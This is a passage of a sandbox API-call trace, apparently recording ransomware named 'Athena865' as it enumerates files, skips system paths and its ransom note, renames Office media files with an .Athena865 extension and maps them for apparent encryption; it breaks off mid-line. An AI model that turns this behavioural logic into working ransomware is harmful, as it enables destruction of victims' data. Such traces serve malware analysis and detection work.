[0138.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.980] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.980] CloseHandle (hObject=0x154) returned 1 [0138.980] CloseHandle (hObject=0x17c) returned 1 [0138.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.980] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf49a800, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf49a800, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0286034.WMF", cAlternateFileName="")) returned 1 [0138.980] lstrcmpiW (lpString1="J0286034.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.980] lstrcmpiW (lpString1="J0286034.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.980] lstrcmpiW (lpString1="J0286034.WMF", lpString2=".") returned 1 [0138.980] lstrcmpiW (lpString1="J0286034.WMF", lpString2="..") returned 1 [0138.980] lstrcmpiW (lpString1="J0286034.WMF", lpString2="windows") returned -1 [0138.981] lstrcmpiW (lpString1="J0286034.WMF", lpString2="bootmgr") returned 1 [0138.981] lstrcmpiW (lpString1="J0286034.WMF", lpString2="temp") returned -1 [0138.981] lstrcmpiW (lpString1="J0286034.WMF", lpString2="pagefile.sys") returned -1 [0138.981] lstrcmpiW (lpString1="J0286034.WMF", lpString2="boot") returned 1 [0138.981] lstrcmpiW (lpString1="J0286034.WMF", lpString2="ids.txt") returned 1 [0138.981] lstrcmpiW (lpString1="J0286034.WMF", lpString2="ntuser.dat") returned -1 [0138.981] lstrcmpiW (lpString1="J0286034.WMF", lpString2="perflogs") returned -1 [0138.981] lstrcmpiW (lpString1="J0286034.WMF", lpString2="MSBuild") returned -1 [0138.981] lstrlenW (lpString="J0286034.WMF") returned 12 [0138.981] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0286034.WMF" | out: lpString1="J0286034.WMF") returned="J0286034.WMF" [0138.981] lstrlenW (lpString="J0286034.WMF") returned 12 [0138.981] lstrlenW (lpString="Athena865") returned 9 [0138.981] lstrcmpiW (lpString1="86034.WMF", lpString2="Athena865") returned -1 [0138.981] lstrlenW (lpString=".dll") returned 4 [0138.981] lstrcmpiW (lpString1="J0286034.WMF", lpString2=".dll") returned 1 [0138.981] lstrlenW (lpString=".lnk") returned 4 [0138.981] lstrcmpiW (lpString1="J0286034.WMF", lpString2=".lnk") returned 1 [0138.981] lstrlenW (lpString=".ini") returned 4 [0138.981] lstrcmpiW (lpString1="J0286034.WMF", lpString2=".ini") returned 1 [0138.981] lstrlenW (lpString=".sys") returned 4 [0138.981] lstrcmpiW (lpString1="J0286034.WMF", lpString2=".sys") returned 1 [0138.981] lstrlenW (lpString="J0286034.WMF") returned 12 [0138.981] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF.Athena865") returned 71 [0138.981] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf.athena865"), dwFlags=0x1) returned 1 [0138.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.984] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2528) returned 1 [0138.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.984] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.985] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.985] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.985] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xce0, lpName=0x0) returned 0x154 [0138.987] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xce0) returned 0x100000 [0138.987] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.988] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.988] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.988] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.988] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.988] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.988] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.988] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.989] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.989] CloseHandle (hObject=0x154) returned 1 [0138.989] CloseHandle (hObject=0x17c) returned 1 [0138.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.989] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5efff00, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd5efff00, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0286068.WMF", cAlternateFileName="")) returned 1 [0138.989] lstrcmpiW (lpString1="J0286068.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.989] lstrcmpiW (lpString1="J0286068.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.989] lstrcmpiW (lpString1="J0286068.WMF", lpString2=".") returned 1 [0138.989] lstrcmpiW (lpString1="J0286068.WMF", lpString2="..") returned 1 [0138.989] lstrcmpiW (lpString1="J0286068.WMF", lpString2="windows") returned -1 [0138.990] lstrcmpiW (lpString1="J0286068.WMF", lpString2="bootmgr") returned 1 [0138.990] lstrcmpiW (lpString1="J0286068.WMF", lpString2="temp") returned -1 [0138.990] lstrcmpiW (lpString1="J0286068.WMF", lpString2="pagefile.sys") returned -1 [0138.990] lstrcmpiW (lpString1="J0286068.WMF", lpString2="boot") returned 1 [0138.990] lstrcmpiW (lpString1="J0286068.WMF", lpString2="ids.txt") returned 1 [0138.990] lstrcmpiW (lpString1="J0286068.WMF", lpString2="ntuser.dat") returned -1 [0138.990] lstrcmpiW (lpString1="J0286068.WMF", lpString2="perflogs") returned -1 [0138.990] lstrcmpiW (lpString1="J0286068.WMF", lpString2="MSBuild") returned -1 [0138.990] lstrlenW (lpString="J0286068.WMF") returned 12 [0138.990] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0286068.WMF" | out: lpString1="J0286068.WMF") returned="J0286068.WMF" [0138.990] lstrlenW (lpString="J0286068.WMF") returned 12 [0138.990] lstrlenW (lpString="Athena865") returned 9 [0138.990] lstrcmpiW (lpString1="86068.WMF", lpString2="Athena865") returned -1 [0138.990] lstrlenW (lpString=".dll") returned 4 [0138.990] lstrcmpiW (lpString1="J0286068.WMF", lpString2=".dll") returned 1 [0138.990] lstrlenW (lpString=".lnk") returned 4 [0138.990] lstrcmpiW (lpString1="J0286068.WMF", lpString2=".lnk") returned 1 [0138.990] lstrlenW (lpString=".ini") returned 4 [0138.990] lstrcmpiW (lpString1="J0286068.WMF", lpString2=".ini") returned 1 [0138.990] lstrlenW (lpString=".sys") returned 4 [0138.990] lstrcmpiW (lpString1="J0286068.WMF", lpString2=".sys") returned 1 [0138.990] lstrlenW (lpString="J0286068.WMF") returned 12 [0138.990] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF.Athena865") returned 71 [0138.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf.athena865"), dwFlags=0x1) returned 1 [0138.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.992] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2512) returned 1 [0138.992] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.992] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.992] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.992] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.993] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.993] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.993] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcd0, lpName=0x0) returned 0x154 [0138.995] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcd0) returned 0x100000 [0138.995] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.996] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.996] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.997] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.997] CloseHandle (hObject=0x154) returned 1 [0138.997] CloseHandle (hObject=0x17c) returned 1 [0138.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.997] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa019c00, ftCreationTime.dwHighDateTime=0x1bef57a, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa019c00, ftLastWriteTime.dwHighDateTime=0x1bef57a, nFileSizeHigh=0x0, nFileSizeLow=0xb21e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287005.WMF", cAlternateFileName="")) returned 1 [0138.997] lstrcmpiW (lpString1="J0287005.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.997] lstrcmpiW (lpString1="J0287005.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.997] lstrcmpiW (lpString1="J0287005.WMF", lpString2=".") returned 1 [0138.997] lstrcmpiW (lpString1="J0287005.WMF", lpString2="..") returned 1 [0138.997] lstrcmpiW (lpString1="J0287005.WMF", lpString2="windows") returned -1 [0138.997] lstrcmpiW (lpString1="J0287005.WMF", lpString2="bootmgr") returned 1 [0138.997] lstrcmpiW (lpString1="J0287005.WMF", lpString2="temp") returned -1 [0138.997] lstrcmpiW (lpString1="J0287005.WMF", lpString2="pagefile.sys") returned -1 [0138.997] lstrcmpiW (lpString1="J0287005.WMF", lpString2="boot") returned 1 [0138.998] lstrcmpiW (lpString1="J0287005.WMF", lpString2="ids.txt") returned 1 [0138.998] lstrcmpiW (lpString1="J0287005.WMF", lpString2="ntuser.dat") returned -1 [0138.998] lstrcmpiW (lpString1="J0287005.WMF", lpString2="perflogs") returned -1 [0138.998] lstrcmpiW (lpString1="J0287005.WMF", lpString2="MSBuild") returned -1 [0138.998] lstrlenW (lpString="J0287005.WMF") returned 12 [0138.998] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0287005.WMF" | out: lpString1="J0287005.WMF") returned="J0287005.WMF" [0138.998] lstrlenW (lpString="J0287005.WMF") returned 12 [0138.998] lstrlenW (lpString="Athena865") returned 9 [0138.998] lstrcmpiW (lpString1="87005.WMF", lpString2="Athena865") returned -1 [0138.998] lstrlenW (lpString=".dll") returned 4 [0138.998] lstrcmpiW (lpString1="J0287005.WMF", lpString2=".dll") returned 1 [0138.998] lstrlenW (lpString=".lnk") returned 4 [0138.998] lstrcmpiW (lpString1="J0287005.WMF", lpString2=".lnk") returned 1 [0138.998] lstrlenW (lpString=".ini") returned 4 [0138.998] lstrcmpiW (lpString1="J0287005.WMF", lpString2=".ini") returned 1 [0138.998] lstrlenW (lpString=".sys") returned 4 [0138.998] lstrcmpiW (lpString1="J0287005.WMF", lpString2=".sys") returned 1 [0138.998] lstrlenW (lpString="J0287005.WMF") returned 12 [0138.998] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF.Athena865") returned 71 [0138.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf.athena865"), dwFlags=0x1) returned 1 [0139.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.000] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=45598) returned 1 [0139.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.000] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.001] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.001] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.001] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb520, lpName=0x0) returned 0x154 [0139.002] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb520) returned 0x100000 [0139.005] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.006] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.006] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.007] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.007] CloseHandle (hObject=0x154) returned 1 [0139.007] CloseHandle (hObject=0x17c) returned 1 [0139.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.008] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948c7400, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948c7400, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x76ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0291984.WMF", cAlternateFileName="")) returned 1 [0139.008] lstrcmpiW (lpString1="J0291984.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.008] lstrcmpiW (lpString1="J0291984.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.008] lstrcmpiW (lpString1="J0291984.WMF", lpString2=".") returned 1 [0139.008] lstrcmpiW (lpString1="J0291984.WMF", lpString2="..") returned 1 [0139.008] lstrcmpiW (lpString1="J0291984.WMF", lpString2="windows") returned -1 [0139.008] lstrcmpiW (lpString1="J0291984.WMF", lpString2="bootmgr") returned 1 [0139.008] lstrcmpiW (lpString1="J0291984.WMF", lpString2="temp") returned -1 [0139.008] lstrcmpiW (lpString1="J0291984.WMF", lpString2="pagefile.sys") returned -1 [0139.008] lstrcmpiW (lpString1="J0291984.WMF", lpString2="boot") returned 1 [0139.008] lstrcmpiW (lpString1="J0291984.WMF", lpString2="ids.txt") returned 1 [0139.008] lstrcmpiW (lpString1="J0291984.WMF", lpString2="ntuser.dat") returned -1 [0139.008] lstrcmpiW (lpString1="J0291984.WMF", lpString2="perflogs") returned -1 [0139.008] lstrcmpiW (lpString1="J0291984.WMF", lpString2="MSBuild") returned -1 [0139.008] lstrlenW (lpString="J0291984.WMF") returned 12 [0139.008] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0291984.WMF" | out: lpString1="J0291984.WMF") returned="J0291984.WMF" [0139.008] lstrlenW (lpString="J0291984.WMF") returned 12 [0139.008] lstrlenW (lpString="Athena865") returned 9 [0139.008] lstrcmpiW (lpString1="91984.WMF", lpString2="Athena865") returned -1 [0139.008] lstrlenW (lpString=".dll") returned 4 [0139.008] lstrcmpiW (lpString1="J0291984.WMF", lpString2=".dll") returned 1 [0139.009] lstrlenW (lpString=".lnk") returned 4 [0139.009] lstrcmpiW (lpString1="J0291984.WMF", lpString2=".lnk") returned 1 [0139.009] lstrlenW (lpString=".ini") returned 4 [0139.009] lstrcmpiW (lpString1="J0291984.WMF", lpString2=".ini") returned 1 [0139.009] lstrlenW (lpString=".sys") returned 4 [0139.009] lstrcmpiW (lpString1="J0291984.WMF", lpString2=".sys") returned 1 [0139.009] lstrlenW (lpString="J0291984.WMF") returned 12 [0139.009] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF.Athena865") returned 71 [0139.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf.athena865"), dwFlags=0x1) returned 1 [0139.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.010] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30442) returned 1 [0139.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.011] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.011] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.011] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.012] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x79f0, lpName=0x0) returned 0x154 [0139.013] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x79f0) returned 0x100000 [0139.015] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.015] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.016] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.016] HeapFree (in: 